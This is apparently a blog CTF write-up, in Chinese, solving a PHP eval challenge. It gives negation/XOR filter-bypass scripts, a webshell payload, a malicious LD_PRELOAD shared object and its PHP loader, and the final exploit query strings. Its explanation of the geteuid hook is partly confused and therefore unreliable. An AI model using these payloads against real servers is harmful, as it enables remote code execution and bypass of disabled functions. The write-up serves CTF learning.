[极客大挑战 2019]RCE ME-WP

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

进题源码如上,截图如下

image-20240530210520313

过滤了字母和数字,可以想到无子母绕过,自增,异或,取反,不过长度有了限制,自增固然是不行了

取反脚本:

<?php
$url_encoded_string = "assert";//这里修改自己的payload
echo $url_encoded_string;
$decoded_string = urlencode(~$url_encoded_string);
echo $decoded_string;
?>

异或脚本:(我这个比较低级,如果有高级的可以指导一下)

import urllib.parse
valid = "!@$%^*(){}[];\'\",.<>/?=` "

answer = str(input("请输入进行异或构造的字符串:"))

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        print(chr(ord(i) ^ ord(j)), end='')
        break
    else:
      continue
    break
tmp1=urllib.parse.quote(tmp1)
tmp2=urllib.parse.quote(tmp2)
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

这里我用的取反:(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%88%D8%A2%D6);

也就是assert(eval($_POST['w']));

image-20240530212230652

蚁剑连接:

可以直接用插件绕过

image-20240530212423487

不过得是linux系统才能用能用那个模板,所以我没用(你们可以尝试以下用kali试试)

利用LD_PRELOAD来劫持执行恶意so文件,因为 LD_PRELOAD允许我们在执行程序之前优先加载动态链接库。利用这个,我们就可以使用自己的函数,同时我们也可以向别人的程序注入恶意程序,从而达到我们的目的。

具体可参考HFCTF[ezphp]

编写我们的C文件,这个文件的作用是

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//执行readflag并将内容重定向到test.php文件中
void payload() {
	system("/readflag >> /var/tmp/test.php");
}
//检查是否有动态连接,如果有就删除,没有就结束
int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

如果在执行程序时未设置 LD_PRELOAD 环境变量,那么 geteuid 函数将返回0,并不会执行 payload 函数中的操作。

当程序执行到 int geteuid() { ... } 函数时,它首先检查环境变量 LD_PRELOAD 是否存在。

如果 LD_PRELOAD 环境变量不存在(即返回值为 NULL),那么 geteuid 函数会直接返回0,表示用户的有效用户ID为0,geteuid() 函数是一个系统调用,用于获取当前进程的有效用户ID。如果返回值为0,表示当前进程的有效用户ID为root用户;如果返回值为非0,则表示当前进程的有效用户ID不是root用户。这段代码的目的是通过利用 geteuid 函数中的漏洞来执行 payload 函数中的一系列操作,包括读取 /flag 文件的内容并将其写入到 /var/tmp/test.php 文件中。其中,LD_PRELOAD 环境变量的检查是为了绕过某些安全措施,从而执行特权操作。

PS:这道题明显不是root,如果是就不用这样搞了,直接蚁剑查就行。

在这情况下,由于 LD_PRELOAD 环境变量不存在,unsetenv("LD_PRELOAD") 不会执行,而 payload() 函数也不会被调用。因此,程序不会执行 payload 函数中的操作,也就不会执行涉及到读取 /flag 文件内容的命令。

因此,如果未设置 LD_PRELOAD 环境变量,则该程序只会返回0,不会执行任何读取 /flag 文件内容的操作。
    
    
函数:   
getenv:获取环境变量的值

unsetenv:用来删除一个环境变量

system:定的命令名称或程序名称传给要被命令处理器执行的主机环境

然后用kali的gcc编译成so文件。

image-20240530214544323

然后是php脚本,

<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
主要函数是putenv("LD_PRELOAD=/var/tmp/getflag.so");来把环境变量链接到LD_PRELOAD
mail和error_log用来掩盖修饰。就是占位的
    
putenv("LD_PRELOAD=/var/tmp/getflag.so");: 这行代码调用了 PHP 的 putenv 函数,用于设置环境变量。具体来说,它将环境变量 LD_PRELOAD 设置为 /var/tmp/getflag.so。在Linux系统中,LD_PRELOAD 环境变量用于指定在运行程序时要加载的共享库。

mail("","","","");: 这行代码调用了 PHP 的 mail 函数,用于发送邮件。在这里,它看起来只是作为一个占位符,因为没有提供实际的收件人、主题和正文内容。

error_log("",1,"","");: 这行代码调用了 PHP 的 error_log 函数,用于将日志信息写入到服务器的错误日志中。在这里,它似乎也只是作为一个占位符,因为第一个参数是空字符串,不会记录任何实际的错误信息。

上传php脚本和恶意so文件

image-20240531174342666

然后,修改传参

?code=${_GET}[_](${_GET}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so

前面的进行异或

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
    
下面是取反,但是我用不成功,不知为什么。   
${(~%DB%A0%B8%BA%AB)}[_](${(~%DB%A0%B8%BA%AB)}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so

找到那个test.php就行了

image-20240531175915165

image-20240531175940439

posted @ 2025-01-20 16:47  Z3r00  阅读(69)  评论(0)    收藏  举报